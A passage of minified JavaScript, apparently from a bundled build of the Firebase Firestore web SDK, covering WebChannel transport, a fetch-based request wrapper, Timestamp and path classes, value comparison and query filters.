0),r=this.l;if(this.O&&(r?gc(r=pc(r),this.O):r=this.O),null===this.i&&(n.B=r),this.ea)t:{for(var i=e=0;i<this.g.length;i++){var o=this.g[i];if(void 0===(o="__data__"in o.a&&"string"==typeof(o=o.a.__data__)?o.length:void 0))break;if(4096<(e+=o)){e=i;break t}if(4096===e||i===this.g.length-1){e=i+1;break t}}e=1e3}else e=1e3;e=fd(this,n,e),yu(i=hu(this.B),"RID",t),yu(i,"CVER",22),this.A&&yu(i,"X-HTTP-Session-Id",this.A),pd(this,i),this.i&&r&&id(i,this.i,r),Vu(this.b,n),this.Ja&&yu(i,"TYPE","init"),this.ea?(yu(i,"$req",e),yu(i,"SID","null"),n.U=!0,Xl(n,i,null)):Xl(n,i,e),this.v=2}}else 3==this.v&&(t?hd(this,t):0==this.g.length||Lu(this.b)||hd(this))},Va.Ba=function(){if(this.j=null,bd(this),this.U&&!(this.F||null==this.a||0>=this.N)){var t=2*this.N;this.c.info("BP detection timer enabled: "+t),this.s=Ll(Xa(this.Ya,this),t)}},Va.Ya=function(){this.s&&(this.s=null,this.c.info("BP detection timeout reached."),this.c.info("Buffering proxy detected and switch to long-polling!"),this.G=!1,this.F=!0,Nl(10),cd(this),bd(this))},Va.Xa=function(){null!=this.m&&(this.m=null,cd(this),md(this),Nl(19))},Va.cb=function(t){t?(this.c.info("Successfully pinged google.com"),Nl(2)):(this.c.info("Failed to ping google.com"),Nl(1))},(Va=Md.prototype).ua=function(){},Va.ta=function(){},Va.sa=function(){},Va.ra=function(){},Va.Ka=function(){},Od.prototype.a=function(t,e){return new Ed(t,e)},Ja(Ed,rl),Ed.prototype.h=function(){this.a.f=this.f,this.o&&(this.a.C=!0);var t=this.a,e=this.g,n=this.b||void 0;Nl(0),t.ga=e,t.V=n||{},t.G=t.S,t.B=Pd(t,null,t.ga),dd(t)},Ed.prototype.close=function(){ad(this.a)},Ed.prototype.l=function(t){if("string"==typeof t){var e={};e.__data__=t,ud(this.a,e)}else this.m?((e={}).__data__=sl(t),ud(this.a,e)):ud(this.a,t)},Ed.prototype.H=function(){this.a.f=null,delete this.f,ad(this.a),delete this.a,Ed.X.H.call(this)},Ja(Td,Gl),Ja(Id,Ul),Ja(kd,Md),kd.prototype.ua=function(){il(this.a,"a")},kd.prototype.ta=function(t){il(this.a,new Td(t))},kd.prototype.sa=function(t){il(this.a,new Id(t))},kd.prototype.ra=function(){il(this.a,"b")},Ja(Ad,Vl),Ad.prototype.a=function(){return new Dd(this.f)},Ad.prototype.c=function(t){return function(){return t}}({}),Ja(Dd,rl);var Nd=0;function Rd(t){t.f.read().then(t.Ta.bind(t)).catch(t.ca.bind(t))}function Ld(t){t.readyState=4,t.g=null,t.f=null,t.m=null,jd(t)}function jd(t){t.onreadystatechange&&t.onreadystatechange.call(t)}(Va=Dd.prototype).open=function(t,e){if(this.readyState!=Nd)throw this.abort(),Error("Error reopening a connection");this.s=t,this.o=e,this.readyState=1,jd(this)},Va.send=function(t){if(1!=this.readyState)throw this.abort(),Error("need to call open() first. ");this.a=!0;var e={headers:this.l,method:this.s,credentials:this.h,cache:void 0};t&&(e.body=t),this.u.fetch(new Request(this.o,e)).then(this.Wa.bind(this),this.ca.bind(this))},Va.abort=function(){this.responseText="",this.l=new Headers,this.status=0,this.f&&this.f.cancel("Request was aborted."),1<=this.readyState&&this.a&&4!=this.readyState&&(this.a=!1,Ld(this)),this.readyState=Nd},Va.Wa=function(t){this.a&&(this.g=t,this.b||(this.status=this.g.status,this.statusText=this.g.statusText,this.b=t.headers,this.readyState=2,jd(this)),this.a&&(this.readyState=3,jd(this),this.a&&("arraybuffer"===this.responseType?t.arrayBuffer().then(this.Ua.bind(this),this.ca.bind(this)):void 0!==za.ReadableStream&&"body"in t?(this.responseText="",this.f=t.body.getReader(),this.m=new TextDecoder,Rd(this)):t.text().then(this.Va.bind(this),this.ca.bind(this)))))},Va.Ta=function(t){if(this.a){var e=this.m.decode(t.value?t.value:new Uint8Array(0),{stream:!t.done});e&&(this.responseText+=e),t.done?Ld(this):jd(this),3==this.readyState&&Rd(this)}},Va.Va=function(t){this.a&&(this.responseText=t,Ld(this))},Va.Ua=function(){this.a&&Ld(this)},Va.ca=function(){this.a&&Ld(this)},Va.setRequestHeader=function(t,e){this.l.append(t,e)},Va.getResponseHeader=function(t){return this.b&&this.b.get(t.toLowerCase())||""},Va.getAllResponseHeaders=function(){if(!this.b)return"";for(var t=[],e=this.b.entries(),n=e.next();!n.done;)t.push((n=n.value)[0]+": "+n[1]),n=e.next();return t.join("\r\n")},Object.defineProperty(Dd.prototype,"withCredentials",{get:function(){return"include"===this.h},set:function(t){this.h=t?"include":"same-origin"}}),Od.prototype.createWebChannel=Od.prototype.a,Ed.prototype.send=Ed.prototype.l,Ed.prototype.open=Ed.prototype.h,Ed.prototype.close=Ed.prototype.close,jl.NO_ERROR=0,jl.TIMEOUT=8,jl.HTTP_ERROR=6,Fl.COMPLETE="complete",Bl.EventType=zl,zl.OPEN="a",zl.CLOSE="b",zl.ERROR="c",zl.MESSAGE="d",rl.prototype.listen=rl.prototype.wa,Ku.prototype.listenOnce=Ku.prototype.xa,Ku.prototype.getLastError=Ku.prototype.Ra,Ku.prototype.getLastErrorCode=Ku.prototype.va,Ku.prototype.getStatus=Ku.prototype.W,Ku.prototype.getResponseJson=Ku.prototype.Qa,Ku.prototype.getResponseText=Ku.prototype.$,Ku.prototype.send=Ku.prototype.ba;var Fd=jl,Vd=Fl,Bd=El,Hd=10,zd=11,Gd=Ad,Ud=Bl,qd=Ku,Wd=function(){function t(t,e){var n=this;this.previousValue=t,e&&(e.sequenceNumberHandler=function(t){return n.t(t)},this.i=function(t){return e.writeSequenceNumber(t)})}return t.prototype.t=function(t){return this.previousValue=Math.max(t,this.previousValue),this.previousValue},t.prototype.next=function(){var t=++this.previousValue;return this.i&&this.i(t),t},t}();Wd.o=-1;var Kd={OK:"ok",CANCELLED:"cancelled",UNKNOWN:"unknown",INVALID_ARGUMENT:"invalid-argument",DEADLINE_EXCEEDED:"deadline-exceeded",NOT_FOUND:"not-found",ALREADY_EXISTS:"already-exists",PERMISSION_DENIED:"permission-denied",UNAUTHENTICATED:"unauthenticated",RESOURCE_EXHAUSTED:"resource-exhausted",FAILED_PRECONDITION:"failed-precondition",ABORTED:"aborted",OUT_OF_RANGE:"out-of-range",UNIMPLEMENTED:"unimplemented",INTERNAL:"internal",UNAVAILABLE:"unavailable",DATA_LOSS:"data-loss"},$d=function(t){function e(e,n){var r=this;return(r=t.call(this,n)||this).code=e,r.message=n,r.name="FirebaseError",r.toString=function(){return r.name+": [code="+r.code+"]: "+r.message},r}return(0,Zo.ZT)(e,t),e}(Error),Qd=new La.Yd("@firebase/firestore");function Xd(){return Qd.logLevel}function Zd(t){for(var e=[],n=1;n<arguments.length;n++)e[n-1]=arguments[n];if(Qd.logLevel<=La.in.DEBUG){var r=e.map(th);Qd.debug.apply(Qd,(0,Zo.ev)(["Firestore (8.6.7): "+t],r))}}function Yd(t){for(var e=[],n=1;n<arguments.length;n++)e[n-1]=arguments[n];if(Qd.logLevel<=La.in.ERROR){var r=e.map(th);Qd.error.apply(Qd,(0,Zo.ev)(["Firestore (8.6.7): "+t],r))}}function Jd(t){for(var e=[],n=1;n<arguments.length;n++)e[n-1]=arguments[n];if(Qd.logLevel<=La.in.WARN){var r=e.map(th);Qd.warn.apply(Qd,(0,Zo.ev)(["Firestore (8.6.7): "+t],r))}}function th(t){if("string"==typeof t)return t;try{return JSON.stringify(t)}catch(e){return t}}function eh(t){void 0===t&&(t="Unexpected state");var e="FIRESTORE (8.6.7) INTERNAL ASSERTION FAILED: "+t;throw Yd(e),new Error(e)}function nh(t,e){t||eh()}function rh(t,e){return t}function ih(t){var e="undefined"!=typeof self&&(self.crypto||self.msCrypto),n=new Uint8Array(t);if(e&&"function"==typeof e.getRandomValues)e.getRandomValues(n);else for(var r=0;r<t;r++)n[r]=Math.floor(256*Math.random());return n}var oh=function(){function t(){}return t.u=function(){for(var t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",e=Math.floor(256/t.length)*t.length,n="";n.length<20;)for(var r=ih(40),i=0;i<r.length;++i)n.length<20&&r[i]<e&&(n+=t.charAt(r[i]%t.length));return n},t}();function sh(t,e){return t<e?-1:t>e?1:0}function ah(t,e,n){return t.length===e.length&&t.every(function(t,r){return n(t,e[r])})}function ch(t){return t+"\0"}var lh=function(){function t(t,e){if(this.seconds=t,this.nanoseconds=e,e<0)throw new $d(Kd.INVALID_ARGUMENT,"Timestamp nanoseconds out of range: "+e);if(e>=1e9)throw new $d(Kd.INVALID_ARGUMENT,"Timestamp nanoseconds out of range: "+e);if(t<-62135596800)throw new $d(Kd.INVALID_ARGUMENT,"Timestamp seconds out of range: "+t);if(t>=253402300800)throw new $d(Kd.INVALID_ARGUMENT,"Timestamp seconds out of range: "+t)}return t.now=function(){return t.fromMillis(Date.now())},t.fromDate=function(e){return t.fromMillis(e.getTime())},t.fromMillis=function(e){var n=Math.floor(e/1e3);return new t(n,Math.floor(1e6*(e-1e3*n)))},t.prototype.toDate=function(){return new Date(this.toMillis())},t.prototype.toMillis=function(){return 1e3*this.seconds+this.nanoseconds/1e6},t.prototype._compareTo=function(t){return this.seconds===t.seconds?sh(this.nanoseconds,t.nanoseconds):sh(this.seconds,t.seconds)},t.prototype.isEqual=function(t){return t.seconds===this.seconds&&t.nanoseconds===this.nanoseconds},t.prototype.toString=function(){return"Timestamp(seconds="+this.seconds+", nanoseconds="+this.nanoseconds+")"},t.prototype.toJSON=function(){return{seconds:this.seconds,nanoseconds:this.nanoseconds}},t.prototype.valueOf=function(){return String(this.seconds- -62135596800).padStart(12,"0")+"."+String(this.nanoseconds).padStart(9,"0")},t}(),uh=function(){function t(t){this.timestamp=t}return t.fromTimestamp=function(e){return new t(e)},t.min=function(){return new t(new lh(0,0))},t.prototype.compareTo=function(t){return this.timestamp._compareTo(t.timestamp)},t.prototype.isEqual=function(t){return this.timestamp.isEqual(t.timestamp)},t.prototype.toMicroseconds=function(){return 1e6*this.timestamp.seconds+this.timestamp.nanoseconds/1e3},t.prototype.toString=function(){return"SnapshotVersion("+this.timestamp.toString()+")"},t.prototype.toTimestamp=function(){return this.timestamp},t}();function dh(t){var e=0;for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&e++;return e}function hh(t,e){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&e(n,t[n])}function ph(t){for(var e in t)if(Object.prototype.hasOwnProperty.call(t,e))return!1;return!0}var fh=function(){function t(t,e,n){void 0===e?e=0:e>t.length&&eh(),void 0===n?n=t.length-e:n>t.length-e&&eh(),this.segments=t,this.offset=e,this.len=n}return Object.defineProperty(t.prototype,"length",{get:function(){return this.len},enumerable:!1,configurable:!0}),t.prototype.isEqual=function(e){return 0===t.comparator(this,e)},t.prototype.child=function(e){var n=this.segments.slice(this.offset,this.limit());return e instanceof t?e.forEach(function(t){n.push(t)}):n.push(e),this.construct(n)},t.prototype.limit=function(){return this.offset+this.length},t.prototype.popFirst=function(t){return this.construct(this.segments,this.offset+(t=void 0===t?1:t),this.length-t)},t.prototype.popLast=function(){return this.construct(this.segments,this.offset,this.length-1)},t.prototype.firstSegment=function(){return this.segments[this.offset]},t.prototype.lastSegment=function(){return this.get(this.length-1)},t.prototype.get=function(t){return this.segments[this.offset+t]},t.prototype.isEmpty=function(){return 0===this.length},t.prototype.isPrefixOf=function(t){if(t.length<this.length)return!1;for(var e=0;e<this.length;e++)if(this.get(e)!==t.get(e))return!1;return!0},t.prototype.isImmediateParentOf=function(t){if(this.length+1!==t.length)return!1;for(var e=0;e<this.length;e++)if(this.get(e)!==t.get(e))return!1;return!0},t.prototype.forEach=function(t){for(var e=this.offset,n=this.limit();e<n;e++)t(this.segments[e])},t.prototype.toArray=function(){return this.segments.slice(this.offset,this.limit())},t.comparator=function(t,e){for(var n=Math.min(t.length,e.length),r=0;r<n;r++){var i=t.get(r),o=e.get(r);if(i<o)return-1;if(i>o)return 1}return t.length<e.length?-1:t.length>e.length?1:0},t}(),gh=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return(0,Zo.ZT)(e,t),e.prototype.construct=function(t,n,r){return new e(t,n,r)},e.prototype.canonicalString=function(){return this.toArray().join("/")},e.prototype.toString=function(){return this.canonicalString()},e.fromString=function(){for(var t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];for(var r=[],i=0,o=t;i<o.length;i++){var s=o[i];if(s.indexOf("//")>=0)throw new $d(Kd.INVALID_ARGUMENT,"Invalid segment ("+s+"). Paths must not contain // in them.");r.push.apply(r,s.split("/").filter(function(t){return t.length>0}))}return new e(r)},e.emptyPath=function(){return new e([])},e}(fh),mh=/^[_a-zA-Z][_a-zA-Z0-9]*$/,yh=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return(0,Zo.ZT)(e,t),e.prototype.construct=function(t,n,r){return new e(t,n,r)},e.isValidIdentifier=function(t){return mh.test(t)},e.prototype.canonicalString=function(){return this.toArray().map(function(t){return t=t.replace(/\\/g,"\\\\").replace(/`/g,"\\`"),e.isValidIdentifier(t)||(t="`"+t+"`"),t}).join(".")},e.prototype.toString=function(){return this.canonicalString()},e.prototype.isKeyField=function(){return 1===this.length&&"__name__"===this.get(0)},e.keyField=function(){return new e(["__name__"])},e.fromServerFormat=function(t){for(var n=[],r="",i=0,o=function(){if(0===r.length)throw new $d(Kd.INVALID_ARGUMENT,"Invalid field path ("+t+"). Paths must not be empty, begin with '.', end with '.', or contain '..'");n.push(r),r=""},s=!1;i<t.length;){var a=t[i];if("\\"===a){if(i+1===t.length)throw new $d(Kd.INVALID_ARGUMENT,"Path has trailing escape character: "+t);var c=t[i+1];if("\\"!==c&&"."!==c&&"`"!==c)throw new $d(Kd.INVALID_ARGUMENT,"Path has invalid escape sequence: "+t);r+=c,i+=2}else"`"===a?(s=!s,i++):"."!==a||s?(r+=a,i++):(o(),i++)}if(o(),s)throw new $d(Kd.INVALID_ARGUMENT,"Unterminated ` in path: "+t);return new e(n)},e.emptyPath=function(){return new e([])},e}(fh),bh=function(){function t(t){this.fields=t,t.sort(yh.comparator)}return t.prototype.covers=function(t){for(var e=0,n=this.fields;e<n.length;e++)if(n[e].isPrefixOf(t))return!0;return!1},t.prototype.isEqual=function(t){return ah(this.fields,t.fields,function(t,e){return t.isEqual(e)})},t}(),vh=function(){function t(t){this.binaryString=t}return t.fromBase64String=function(e){return new t(atob(e))},t.fromUint8Array=function(e){return new t(function(t){for(var e="",n=0;n<t.length;++n)e+=String.fromCharCode(t[n]);return e}(e))},t.prototype.toBase64=function(){return btoa(this.binaryString)},t.prototype.toUint8Array=function(){return function(t){for(var e=new Uint8Array(t.length),n=0;n<t.length;n++)e[n]=t.charCodeAt(n);return e}(this.binaryString)},t.prototype.approximateByteSize=function(){return 2*this.binaryString.length},t.prototype.compareTo=function(t){return sh(this.binaryString,t.binaryString)},t.prototype.isEqual=function(t){return this.binaryString===t.binaryString},t}();vh.EMPTY_BYTE_STRING=new vh("");var _h=new RegExp(/^\d{4}-\d\d-\d\dT\d\d:\d\d:\d\d(?:\.(\d+))?Z$/);function Ch(t){if(nh(!!t),"string"==typeof t){var e=0,n=_h.exec(t);if(nh(!!n),n[1]){var r=n[1];r=(r+"000000000").substr(0,9),e=Number(r)}var i=new Date(t);return{seconds:Math.floor(i.getTime()/1e3),nanos:e}}return{seconds:wh(t.seconds),nanos:wh(t.nanos)}}function wh(t){return"number"==typeof t?t:"string"==typeof t?Number(t):0}function xh(t){return"string"==typeof t?vh.fromBase64String(t):vh.fromUint8Array(t)}function Ph(t){var e,n;return"server_timestamp"===(null===(n=((null===(e=null==t?void 0:t.mapValue)||void 0===e?void 0:e.fields)||{}).__type__)||void 0===n?void 0:n.stringValue)}function Sh(t){var e=t.mapValue.fields.__previous_value__;return Ph(e)?Sh(e):e}function Mh(t){var e=Ch(t.mapValue.fields.__local_write_time__.timestampValue);return new lh(e.seconds,e.nanos)}function Oh(t){return null==t}function Eh(t){return 0===t&&1/t==-1/0}function Th(t){return"number"==typeof t&&Number.isInteger(t)&&!Eh(t)&&t<=Number.MAX_SAFE_INTEGER&&t>=Number.MIN_SAFE_INTEGER}var Ih=function(){function t(t){this.path=t}return t.fromPath=function(e){return new t(gh.fromString(e))},t.fromName=function(e){return new t(gh.fromString(e).popFirst(5))},t.prototype.hasCollectionId=function(t){return this.path.length>=2&&this.path.get(this.path.length-2)===t},t.prototype.isEqual=function(t){return null!==t&&0===gh.comparator(this.path,t.path)},t.prototype.toString=function(){return this.path.toString()},t.comparator=function(t,e){return gh.comparator(t.path,e.path)},t.isDocumentKey=function(t){return t.length%2==0},t.fromSegments=function(e){return new t(new gh(e.slice()))},t}();function kh(t){return"nullValue"in t?0:"booleanValue"in t?1:"integerValue"in t||"doubleValue"in t?2:"timestampValue"in t?3:"stringValue"in t?5:"bytesValue"in t?6:"referenceValue"in t?7:"geoPointValue"in t?8:"arrayValue"in t?9:"mapValue"in t?Ph(t)?4:10:eh()}function Ah(t,e){var n,r=kh(t);if(r!==kh(e))return!1;switch(r){case 0:return!0;case 1:return t.booleanValue===e.booleanValue;case 4:return Mh(t).isEqual(Mh(e));case 3:return function(t,e){if("string"==typeof t.timestampValue&&"string"==typeof e.timestampValue&&t.timestampValue.length===e.timestampValue.length)return t.timestampValue===e.timestampValue;var n=Ch(t.timestampValue),r=Ch(e.timestampValue);return n.seconds===r.seconds&&n.nanos===r.nanos}(t,e);case 5:return t.stringValue===e.stringValue;case 6:return n=e,xh(t.bytesValue).isEqual(xh(n.bytesValue));case 7:return t.referenceValue===e.referenceValue;case 8:return function(t,e){return wh(t.geoPointValue.latitude)===wh(e.geoPointValue.latitude)&&wh(t.geoPointValue.longitude)===wh(e.geoPointValue.longitude)}(t,e);case 2:return function(t,e){if("integerValue"in t&&"integerValue"in e)return wh(t.integerValue)===wh(e.integerValue);if("doubleValue"in t&&"doubleValue"in e){var n=wh(t.doubleValue),r=wh(e.doubleValue);return n===r?Eh(n)===Eh(r):isNaN(n)&&isNaN(r)}return!1}(t,e);case 9:return ah(t.arrayValue.values||[],e.arrayValue.values||[],Ah);case 10:return function(t,e){var n=t.mapValue.fields||{},r=e.mapValue.fields||{};if(dh(n)!==dh(r))return!1;for(var i in n)if(n.hasOwnProperty(i)&&(void 0===r[i]||!Ah(n[i],r[i])))return!1;return!0}(t,e);default:return eh()}}function Dh(t,e){return void 0!==(t.values||[]).find(function(t){return Ah(t,e)})}function Nh(t,e){var n,r,i,o,s=kh(t),a=kh(e);if(s!==a)return sh(s,a);switch(s){case 0:return 0;case 1:return sh(t.booleanValue,e.booleanValue);case 2:return r=e,(i=wh((n=t).integerValue||n.doubleValue))<(o=wh(r.integerValue||r.doubleValue))?-1:i>o?1:i===o?0:isNaN(i)?isNaN(o)?0:-1:1;case 3:return Rh(t.timestampValue,e.timestampValue);case 4:return Rh(Mh(t),Mh(e));case 5:return sh(t.stringValue,e.stringValue);case 6:return function(t,e){var n=xh(t),r=xh(e);return n.compareTo(r)}(t.bytesValue,e.bytesValue);case 7:return function(t,e){for(var n=t.split("/"),r=e.split("/"),i=0;i<n.length&&i<r.length;i++){var o=sh(n[i],r[i]);if(0!==o)return o}return sh(n.length,r.length)}(t.referenceValue,e.referenceValue);case 8:return function(t,e){var n=sh(wh(t.latitude),wh(e.latitude));return 0!==n?n:sh(wh(t.longitude),wh(e.longitude))}(t.geoPointValue,e.geoPointValue);case 9:return function(t,e){for(var n=t.values||[],r=e.values||[],i=0;i<n.length&&i<r.length;++i){var o=Nh(n[i],r[i]);if(o)return o}return sh(n.length,r.length)}(t.arrayValue,e.arrayValue);case 10:return function(t,e){var n=t.fields||{},r=Object.keys(n),i=e.fields||{},o=Object.keys(i);r.sort(),o.sort();for(var s=0;s<r.length&&s<o.length;++s){var a=sh(r[s],o[s]);if(0!==a)return a;var c=Nh(n[r[s]],i[o[s]]);if(0!==c)return c}return sh(r.length,o.length)}(t.mapValue,e.mapValue);default:throw eh()}}function Rh(t,e){if("string"==typeof t&&"string"==typeof e&&t.length===e.length)return sh(t,e);var n=Ch(t),r=Ch(e),i=sh(n.seconds,r.seconds);return 0!==i?i:sh(n.nanos,r.nanos)}function Lh(t){return jh(t)}function jh(t){return"nullValue"in t?"null":"booleanValue"in t?""+t.booleanValue:"integerValue"in t?""+t.integerValue:"doubleValue"in t?""+t.doubleValue:"timestampValue"in t?"time("+(e=Ch(t.timestampValue)).seconds+","+e.nanos+")":"stringValue"in t?t.stringValue:"bytesValue"in t?xh(t.bytesValue).toBase64():"referenceValue"in t?Ih.fromName(t.referenceValue).toString():"geoPointValue"in t?"geo("+(n=t.geoPointValue).latitude+","+n.longitude+")":"arrayValue"in t?function(t){for(var e="[",n=!0,r=0,i=t.values||[];r<i.length;r++)n?n=!1:e+=",",e+=jh(i[r]);return e+"]"}(t.arrayValue):"mapValue"in t?function(t){for(var e="{",n=!0,r=0,i=Object.keys(t.fields||{}).sort();r<i.length;r++){var o=i[r];n?n=!1:e+=",",e+=o+":"+jh(t.fields[o])}return e+"}"}(t.mapValue):eh();var e,n}function Fh(t,e){return{referenceValue:"projects/"+t.projectId+"/databases/"+t.database+"/documents/"+e.path.canonicalString()}}function Vh(t){return!!t&&"integerValue"in t}function Bh(t){return!!t&&"arrayValue"in t}function Hh(t){return!!t&&"nullValue"in t}function zh(t){return!!t&&"doubleValue"in t&&isNaN(Number(t.doubleValue))}function Gh(t){return!!t&&"mapValue"in t}function Uh(t){if(t.geoPointValue)return{geoPointValue:Object.assign({},t.geoPointValue)};if(t.timestampValue)return{timestampValue:Object.assign({},Ch(t.timestampValue))};if(t.mapValue){var e={mapValue:{fields:{}}};return hh(t.mapValue.fields,function(t,n){return e.mapValue.fields[t]=Uh(n)}),e}if(t.arrayValue){for(var n={arrayValue:{values:[]}},r=0;r<(t.arrayValue.values||[]).length;++r)n.arrayValue.values[r]=Uh(t.arrayValue.values[r]);return n}return Object.assign({},t)}var qh=function(){function t(t){this.value=t}return t.empty=function(){return new t({mapValue:{}})},t.prototype.field=function(t){if(t.isEmpty())return this.value;for(var e=this.value,n=0;n<t.length-1;++n)if(!Gh(e=(e.mapValue.fields||{})[t.get(n)]))return null;return(e=(e.mapValue.fields||{})[t.lastSegment()])||null},t.prototype.set=function(t,e){this.getFieldsMap(t.popLast())[t.lastSegment()]=Uh(e)},t.prototype.setAll=function(t){var e=this,n=yh.emptyPath(),r={},i=[];t.forEach(function(t,o){if(!n.isImmediateParentOf(o)){var s=e.getFieldsMap(n);e.applyChanges(s,r,i),r={},i=[],n=o.popLast()}t?r[o.lastSegment()]=Uh(t):i.push(o.lastSegment())});var o=this.getFieldsMap(n);this.applyChanges(o,r,i)},t.prototype.delete=function(t){var e=this.field(t.popLast());Gh(e)&&e.mapValue.fields&&delete e.mapValue.fields[t.lastSegment()]},t.prototype.isEqual=function(t){return Ah(this.value,t.value)},t.prototype.getFieldsMap=function(t){var e=this.value;e.mapValue.fields||(e.mapValue={fields:{}});for(var n=0;n<t.length;++n){var r=e.mapValue.fields[t.get(n)];Gh(r)&&r.mapValue.fields||(r={mapValue:{fields:{}}},e.mapValue.fields[t.get(n)]=r),e=r}return e.mapValue.fields},t.prototype.applyChanges=function(t,e,n){hh(e,function(e,n){return t[e]=n});for(var r=0,i=n;r<i.length;r++)delete t[i[r]]},t.prototype.clone=function(){return new t(Uh(this.value))},t}();function Wh(t){var e=[];return hh(t.fields,function(t,n){var r=new yh([t]);if(Gh(n)){var i=Wh(n.mapValue).fields;if(0===i.length)e.push(r);else for(var o=0,s=i;o<s.length;o++)e.push(r.child(s[o]))}else e.push(r)}),new bh(e)}var Kh=function(){function t(t,e,n,r,i){this.key=t,this.documentType=e,this.version=n,this.data=r,this.documentState=i}return t.newInvalidDocument=function(e){return new t(e,0,uh.min(),qh.empty(),0)},t.newFoundDocument=function(e,n,r){return new t(e,1,n,r,0)},t.newNoDocument=function(e,n){return new t(e,2,n,qh.empty(),0)},t.newUnknownDocument=function(e,n){return new t(e,3,n,qh.empty(),2)},t.prototype.convertToFoundDocument=function(t,e){return this.version=t,this.documentType=1,this.data=e,this.documentState=0,this},t.prototype.convertToNoDocument=function(t){return this.version=t,this.documentType=2,this.data=qh.empty(),this.documentState=0,this},t.prototype.convertToUnknownDocument=function(t){return this.version=t,this.documentType=3,this.data=qh.empty(),this.documentState=2,this},t.prototype.setHasCommittedMutations=function(){return this.documentState=2,this},t.prototype.setHasLocalMutations=function(){return this.documentState=1,this},Object.defineProperty(t.prototype,"hasLocalMutations",{get:function(){return 1===this.documentState},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"hasCommittedMutations",{get:function(){return 2===this.documentState},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"hasPendingWrites",{get:function(){return this.hasLocalMutations||this.hasCommittedMutations},enumerable:!1,configurable:!0}),t.prototype.isValidDocument=function(){return 0!==this.documentType},t.prototype.isFoundDocument=function(){return 1===this.documentType},t.prototype.isNoDocument=function(){return 2===this.documentType},t.prototype.isUnknownDocument=function(){return 3===this.documentType},t.prototype.isEqual=function(e){return e instanceof t&&this.key.isEqual(e.key)&&this.version.isEqual(e.version)&&this.documentType===e.documentType&&this.documentState===e.documentState&&this.data.isEqual(e.data)},t.prototype.clone=function(){return new t(this.key,this.documentType,this.version,this.data.clone(),this.documentState)},t.prototype.toString=function(){return"Document("+this.key+", "+this.version+", "+JSON.stringify(this.data.value)+", {documentType: "+this.documentType+"}), {documentState: "+this.documentState+"})"},t}(),$h=function(t,e,n,r,i,o,s){void 0===e&&(e=null),void 0===n&&(n=[]),void 0===r&&(r=[]),void 0===i&&(i=null),void 0===o&&(o=null),void 0===s&&(s=null),this.path=t,this.collectionGroup=e,this.orderBy=n,this.filters=r,this.limit=i,this.startAt=o,this.endAt=s,this.h=null};function Qh(t,e,n,r,i,o,s){return void 0===e&&(e=null),void 0===n&&(n=[]),void 0===r&&(r=[]),void 0===i&&(i=null),void 0===o&&(o=null),void 0===s&&(s=null),new $h(t,e,n,r,i,o,s)}function Xh(t){var e=rh(t);if(null===e.h){var n=e.path.canonicalString();null!==e.collectionGroup&&(n+="|cg:"+e.collectionGroup),n+="|f:",n+=e.filters.map(function(t){return(e=t).field.canonicalString()+e.op.toString()+Lh(e.value);var e}).join(","),n+="|ob:",n+=e.orderBy.map(function(t){return(e=t).field.canonicalString()+e.dir;var e}).join(","),Oh(e.limit)||(n+="|l:",n+=e.limit),e.startAt&&(n+="|lb:",n+=lp(e.startAt)),e.endAt&&(n+="|ub:",n+=lp(e.endAt)),e.h=n}return e.h}function Zh(t,e){if(t.limit!==e.limit||t.orderBy.length!==e.orderBy.length)return!1;for(var n=0;n<t.orderBy.length;n++)if(!dp(t.orderBy[n],e.orderBy[n]))return!1;if(t.filters.length!==e.filters.length)return!1;for(var r=0;r<t.filters.length;r++)if((i=t.filters[r]).op!==(o=e.filters[r]).op||!i.field.isEqual(o.field)||!Ah(i.value,o.value))return!1;var i,o;return t.collectionGroup===e.collectionGroup&&!!t.path.isEqual(e.path)&&!!pp(t.startAt,e.startAt)&&pp(t.endAt,e.endAt)}function Yh(t){return Ih.isDocumentKey(t.path)&&null===t.collectionGroup&&0===t.filters.length}var Jh=function(t){function e(e,n,r){var i=this;return(i=t.call(this)||this).field=e,i.op=n,i.value=r,i}return(0,Zo.ZT)(e,t),e.create=function(t,n,r){return t.isKeyField()?"in"===n||"not-in"===n?this.l(t,n,r):new tp(t,n,r):"array-contains"===n?new ip(t,r):"in"===n?new op(t,r):"not-in"===n?new sp(t,r):"array-contains-any"===n?new ap(t,r):new e(t,n,r)},e.l=function(t,e,n){return"in"===e?new ep(t,n):new np(t,n)},e.prototype.matches=function(t){var e=t.data.field(this.field);return"!="===this.op?null!==e&&this.m(Nh(e,this.value)):null!==e&&kh(this.value)===kh(e)&&this.m(Nh(e,this.value))},e.prototype.m=function(t){switch(this.op){case"<":return t<0;case"<=":return t<=0;case"==":return 0===t;case"!=":return 0!==t;case">":return t>0;case">=":return t>=0;default:return eh()}},e.prototype.g=function(){return["<","<=",">",">=","!=","not-in"].indexOf(this.op)>=0},e}(function(){}),tp=function(t){function e(e,n,r){var i=this;return(i=t.call(this,e,n,r)||this).key=Ih.fromName(r.referenceValue),i}return(0,Zo.ZT)(e,t),e.prototype.matches=function(t){var e=Ih.comparator(t.key,this.key);return this.m(e)},e}(Jh),ep=function(t){function e(e,n){var r=this;return(r=t.call(this,e,"in",n)||this).keys=rp(0,n),r}return(0,Zo.ZT)(e,t),e.prototype.matches=function(t){return this.keys.some(function(e){return e.isEqual(t.key)})},e}(Jh),np=function(t){function e(e,n){var r=this;return(r=t.call(this,e,"not-in",n)||this).keys=rp(0,n),r}return(0,Zo.ZT)(e,t),e.prototype.matches=function(t){return!this.keys.some(function(e){return e.isEqual(t.key)})},e}(Jh);function rp(t,e){var n;return((null===(n=e.arrayValue)||void 0===n?void 0:n.values)||[]).map(function(t){return Ih.fromName(t.referenceValue)})}var ip=function(t){function e(e,n){return t.call(this,e,"array-contains",n)||this}return(0,Zo.ZT)(e,t),e.prototype.matches=function(t){var e=t.data.field(this.field);return Bh(e)&&Dh(e.arrayValue,this.value)},e}(Jh),op=function(t){function e(e,n){return t.call(this,e,"in",n)||this}return(0,Zo.ZT)(e,t),e.prototype.matches=function(t){var e=t.data.field(this.field);return null!==e&&Dh(this.value.arrayValue,e)},e}(Jh),sp=function(t){function e(e,n){return 